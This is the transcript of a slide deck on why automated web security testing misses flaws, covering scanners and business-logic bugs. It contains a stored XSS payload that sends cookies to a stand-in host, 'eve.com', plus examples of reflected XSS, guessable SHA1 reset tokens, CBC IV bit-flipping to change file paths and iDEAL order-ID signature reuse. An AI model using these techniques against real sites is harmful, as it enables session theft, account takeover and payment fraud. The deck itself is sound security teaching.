Security Testing - Where Automation Fails
-
Upload
christiaan-ottow -
Category
Technology
-
view
136 -
download
1
Transcript of Security Testing - Where Automation Fails
![Page 1: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/1.jpg)
Security Testing - Where Automation Fails
![Page 2: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/2.jpg)
Today
• How does security testing of
web applications work
• What does the tooling
landscape look like
• How does automated
security testing fail
• What can we do
Image courtesy of http://theverybesttop10.com/funny-bad-security-fails/
![Page 3: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/3.jpg)
Hi
Christiaan Ottow
• Developer, Sysop, Hacker
• Security Coach @ Computest / Pine Digital Security
• @cottow
Image courtesy of https://ospois.wordpress.com/2008/11/13/
![Page 4: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/4.jpg)
![Page 5: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/5.jpg)
Image courtesy of http://matrix.wikia.com/wiki/The_Matrix_RevolutionsImage courtesy of http://knowyourmeme.com/memes/first-day-on-the-internet-kid
![Page 6: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/6.jpg)
Image courtesy of http://www.opensamm.org/
![Page 7: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/7.jpg)
Image courtesy of https://www.microsoft.com/en-us/sdl/process/verification.aspx
![Page 8: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/8.jpg)
Middleware Middleware
DB SAN
Mgt system
Web application Web application API
Ext. Connector
![Page 9: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/9.jpg)
Middleware Middleware
DB SAN
Mgt system
Web application Web application API
Ext. Connector
![Page 10: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/10.jpg)
Middleware Middleware
DB SAN
Mgt system
Web application Web application API
Ext. Connector
![Page 11: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/11.jpg)
See https://www.certifiedsecure.com/checklists/
![Page 12: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/12.jpg)
![Page 13: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/13.jpg)
<html><body><p>Message from Eve:</p><p>Hi John, <script>var i = new Image(); img.src = ‘http://eve.com/'+document.cookie;</script> how are you?</p></body></html>
Hi John, <script>var i = new Image(); img.src = ‘http://eve.com/'+document.cookie;</script> how are you?
ATTACKER
VICTIM
FriendFace website
Message to John
Message from Kevin
![Page 14: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/14.jpg)
Image courtesy of Acunetix
![Page 15: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/15.jpg)
<?php
$name = $_GET[‘name’];
echo “Welcome, $name!”
http://test.site/welcome.php?name=<script>
![Page 16: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/16.jpg)
<?php
$name = $_GET[‘name’];
echo “Welcome, $name!”
http://test.site/welcome.php?name=<script>
Welcome, <script>!
![Page 17: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/17.jpg)
<?php
$name = htmlspecialchars($_GET[‘name’]);
echo “Welcome, $name!”
http://test.site/welcome.php?name=<script>
![Page 18: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/18.jpg)
<?php
$name = htmlspecialchars($_GET[‘name’]);
echo “Welcome, $name!”
http://test.site/welcome.php?name=<script>
Welcome, <script>!
![Page 19: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/19.jpg)
Image courtesy of http://theverybesttop10.com/funny-bad-security-fails/
![Page 20: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/20.jpg)
Penetration testing cannot prove or even demonstrate that a system is flawless. It can place a reasonable bound on the knowledge and work factor required for a penetrator to succeed.
- Smart Guy on the Internet
[..] penetration testing cannot prove security of the system, just as no doctor can prove that you are without occult disease; thus, it can just prove that the system is vulnerable.
- Other Smart Guy on the Internet
![Page 21: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/21.jpg)
![Page 22: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/22.jpg)
Image courtesy of https://www.microsoft.com/en-us/sdl/process/verification.aspx
![Page 23: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/23.jpg)
<?phpinclude(“header.php”);echo “Hello, world!”; Repository
SAST scanner
Orchestration
Acceptance infra
Production infra
<?phpinclude(“header.php”);echo “Hello, world!”;
<?phpinclude(“header.php”);echo “Hello, world!”;
<?phpinclude(“header.php”);echo “Hello, world!”;
DAST scanner
HTTP, TCP/IPHTTP
Vulnerability scanner
![Page 24: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/24.jpg)
SAST
• HP Fortify
• Checkmarx
• Veracode
• Coverity
• IBM AppScan Source
• Nessus
• Burp Suite
• Acunetix
• Qualys WAS
• Netsparker
• IBM AppScan
DAST
![Page 25: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/25.jpg)
• Injection testing
• SQL, XSS, LDAP, XML, LFI, …
• Session handling
• CSRF, session regeneration and invalidation, cookie settings, ..
• Hardening
• Use of SSL and certificate settings, best practices for HTTP headers, extraneous content, …
• Infrastructure testing
• Open ports, old versions, weak auth methods, known vulns, …
+
![Page 26: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/26.jpg)
• Business rules bypass
• Unintended state transitions, …
• Authorization checking
• Predictable tokens / IDs, ID-based authorization, …
• Incorrect use of crypto and RNGs
• Sign but don’t verify, weak random numbers, AES ECB mode, CBC with public IV, …
• System interoperation
-
![Page 27: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/27.jpg)
![Page 28: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/28.jpg)
![Page 29: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/29.jpg)
€5,005 ?
![Page 30: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/30.jpg)
![Page 31: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/31.jpg)
![Page 32: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/32.jpg)
https://jira.company.nl/reset/a9bfea171aaf723728939ccd6c67f0e8e59f11de
![Page 33: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/33.jpg)
https://jira.company.nl/reset/a9bfea171aaf723728939ccd6c67f0e8e59f11de
sha1(“[email protected]”) = a9bfea171aaf723728939ccd6c67f0e8e59f11de
![Page 34: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/34.jpg)
sha1(“[email protected]”) = 9f26486b094bcc6c1838b42da2eb48f6635f2f84
![Page 35: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/35.jpg)
https://jira.company.nl/reset/9f26486b094bcc6c1838b42da2eb48f6635f2f84
sha1(“[email protected]”) = 9f26486b094bcc6c1838b42da2eb48f6635f2f84
![Page 36: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/36.jpg)
<?php // get params $fname = $_GET['filename']; $iv = $_GET['iv'];
// setup crypto $ch = mcrypt_module_open(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC, ''); mcrypt_generic_init($ch, $key, $iv);
// open file $fp = fopen(mcrypt_generic($ch, $fname), 'r'); fpassthru($fp);
![Page 37: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/37.jpg)
![Page 38: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/38.jpg)
10100101 11101010
01001111
^=
![Page 39: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/39.jpg)
decrypted = “/home/john/secret.txt"
iv = "\x00\x00\x00\x00\x00\x00\x07\x0e\x1a\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
decrypted ^ iv = "/home/mark/secret.txt"
![Page 40: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/40.jpg)
<script>alert(document.cookie);</script>
![Page 41: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/41.jpg)
![Page 42: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/42.jpg)
ATTACKER
VICTIM
Wordpress frontend
Blog comment
List of comments
Wordpress admin site
DatabaseNice blog! <script>var i = new Image(); img.src = ‘http://eve.com/'+document.cookie;</script>
Nice blog! <script>var i = new Image(); img.src = ‘http://eve.com/'+document.cookie;</script>
Nice blog! <script>var i = new Image(); img.src = ‘http://eve.com/'+document.cookie;</script>
<html><body><p>Comments:</p><p>Hi John, <script>var i = new Image(); img.src = ‘http://eve.com/'+document.cookie;</script> how are you?</p></body></html>
![Page 43: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/43.jpg)
![Page 44: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/44.jpg)
Order for €151,63
www.shop.nl/checkout?orderID=1337
ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL
www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL
![Page 45: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/45.jpg)
Order for €151,63
www.shop.nl/checkout?orderID=1337
ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL
www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL
![Page 46: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/46.jpg)
Order for €151,63
www.shop.nl/checkout?orderID=1337
ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL
www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL
![Page 47: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/47.jpg)
Order for €151,63
www.shop.nl/checkout?orderID=1337
ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL
www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL
![Page 48: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/48.jpg)
Order for €151,63
www.shop.nl/checkout?orderID=1337
ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL
www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1336&Lang=NL
![Page 49: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/49.jpg)
![Page 50: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/50.jpg)
Image courtesy of http://9gag.com/gag/3699936/son-i-am-derp
![Page 51: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/51.jpg)
![Page 52: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/52.jpg)
![Page 53: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/53.jpg)
<?phpinclude(“header.php”);echo “Hello, world!”; Repository
SAST scanner
Orchestration
Acceptance infra
Production infra
<?phpinclude(“header.php”);echo “Hello, world!”;
<?phpinclude(“header.php”);echo “Hello, world!”;
<?phpinclude(“header.php”);echo “Hello, world!”;
DAST scanner
HTTP, TCP/IPHTTP
Vulnerability scanner
![Page 54: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/54.jpg)
Image courtesy of http://www.qahipster.com/blog/what-is-unit-testing-part-1-of-2
![Page 55: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/55.jpg)
Summary
• Security testing is a distinct
expertise
• Tools can only do part of the testing
• Make sure you have the right
expertise in your team or enlist help
• Make use of the overlap between
security- and functional testing
Image courtesy of https://memegenerator.net/That-Would-Be-Great
![Page 56: Security Testing - Where Automation Fails](https://reader034.fdocuments.in/reader034/viewer/2022051520/589ff14d1a28ab46598b4c15/html5/thumbnails/56.jpg)
Image courtesy of http://www.slideshare.net/linaroorg/sfo15tr6-server-ecosystem-day-part-6a